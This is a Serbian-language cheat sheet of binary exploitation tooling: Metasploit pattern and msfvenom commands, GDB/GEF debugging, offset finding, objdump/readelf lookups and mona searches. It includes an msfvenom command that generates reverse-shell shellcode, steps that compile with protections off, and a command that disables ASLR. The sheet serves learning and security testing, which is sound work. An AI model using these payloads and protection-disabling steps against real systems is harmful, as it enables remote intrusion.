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Alati za Eksploataciju

Reading time: 7 minutes

Metasploit

pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01

Shellcodes

msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c

GDB

Instaliraj

apt-get install gdb

Parametri

-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process

Uputstva

run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit

# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process

# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes

# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate

# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP

GEF

Možete opcionalno koristiti ovu fork verziju GEF koja sadrži zanimljivije upute.

help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table

# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61

#Dump memory to file
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350

#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤  i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤  pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely

Tricks

GDB iste adrese

Dok debagujete, GDB će imati malo drugačije adrese od onih koje koristi binarni fajl kada se izvršava. Možete učiniti da GDB ima iste adrese tako što ćete:

• unset env LINES
• unset env COLUMNS
• set env _=<path> Unesite apsolutnu putanju do binarnog fajla
• Iskoristite binarni fajl koristeći istu apsolutnu putanju
• PWD i OLDPWD moraju biti isti kada koristite GDB i kada eksploatišete binarni fajl

Backtrace za pronalaženje pozvanih funkcija

Kada imate staticki povezani binarni fajl, sve funkcije će pripadati binarnom fajlu (a ne spoljnim bibliotekama). U ovom slučaju će biti teško identifikovati tok koji binarni fajl prati da bi, na primer, zatražio unos od korisnika.
Možete lako identifikovati ovaj tok tako što ćete pokrenuti binarni fajl sa gdb dok ne budete zatraženi za unos. Zatim, zaustavite ga sa CTRL+C i koristite bt (backtrace) komandu da vidite pozvane funkcije:

gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()

GDB server

gdbserver --multi 0.0.0.0:23947 (u IDA morate uneti apsolutnu putanju izvršne datoteke na Linux mašini i na Windows mašini)

Ghidra

Find stack offset

Ghidra je veoma korisna za pronalaženje offset-a za buffer overflow zahvaljujući informacijama o poziciji lokalnih promenljivih.
Na primer, u primeru ispod, buffer flow u local_bc ukazuje da vam je potreban offset od 0xbc. Štaviše, ako je local_10 kanarska kolačić, to ukazuje da za prepisivanje iz local_bc postoji offset od 0xac.
Remember da prvih 0x08 odakle se čuva RIP pripada RBP-u.

qtool

qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog

Get every opcode executed in the program.

GCC

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> Kompajlirati bez zaštita
-o --> Izlaz
-g --> Sačuvaj kod (GDB će moći da ga vidi)
echo 0 > /proc/sys/kernel/randomize_va_space --> Da deaktivira ASLR u linuxu

Da kompajlirate shellcode:
nasm -f elf assembly.asm --> vraća ".o"
ld assembly.o -o shellcodeout --> Izvršni

Objdump

-d --> Disasemblirati izvršne sekcije (videti opkode kompajliranog shellcode-a, pronaći ROP Gadgets, pronaći adresu funkcije...)
-Mintel --> Intel sintaksa
-t --> Tabela simbola
-D --> Disasemblirati sve (adresa statične promenljive)
-s -j .dtors --> dtors sekcija
-s -j .got --> got sekcija
-D -s -j .plt --> plt sekcija dekompilirana
-TR --> Relokacije
ojdump -t --dynamic-relo ./exec | grep puts --> Adresa "puts" za modifikaciju u GOT
objdump -D ./exec | grep "VAR_NAME" --> Adresa ili statična promenljiva (one su smeštene u DATA sekciji).

Core dumps

1. Pokrenite ulimit -c unlimited pre nego što pokrenete moj program
2. Pokrenite sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t
3. sudo gdb --core=<path/core> --quiet

More

ldd executable | grep libc.so.6 --> Adresa (ako ASLR, onda se ovo menja svaki put)
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done --> Petlja da vidi da li se adresa mnogo menja
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> Offset "system"
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> Offset "/bin/sh"

strace executable --> Funkcije koje poziva izvršni
rabin2 -i ejecutable --> Adresa svih funkcija

Inmunity debugger

!mona modules    #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)

IDA

Debugging u udaljenom linuxu

Unutar IDA foldera možete pronaći binarne datoteke koje se mogu koristiti za debagovanje binarne datoteke unutar linuxa. Da biste to uradili, premestite binarnu datoteku linux_server ili linux_server64 unutar linux servera i pokrenite je unutar foldera koji sadrži binarnu datoteku:

./linux_server64 -Ppass

Zatim, konfigurišite debager: Debugger (linux remote) --> Opcije procesa...: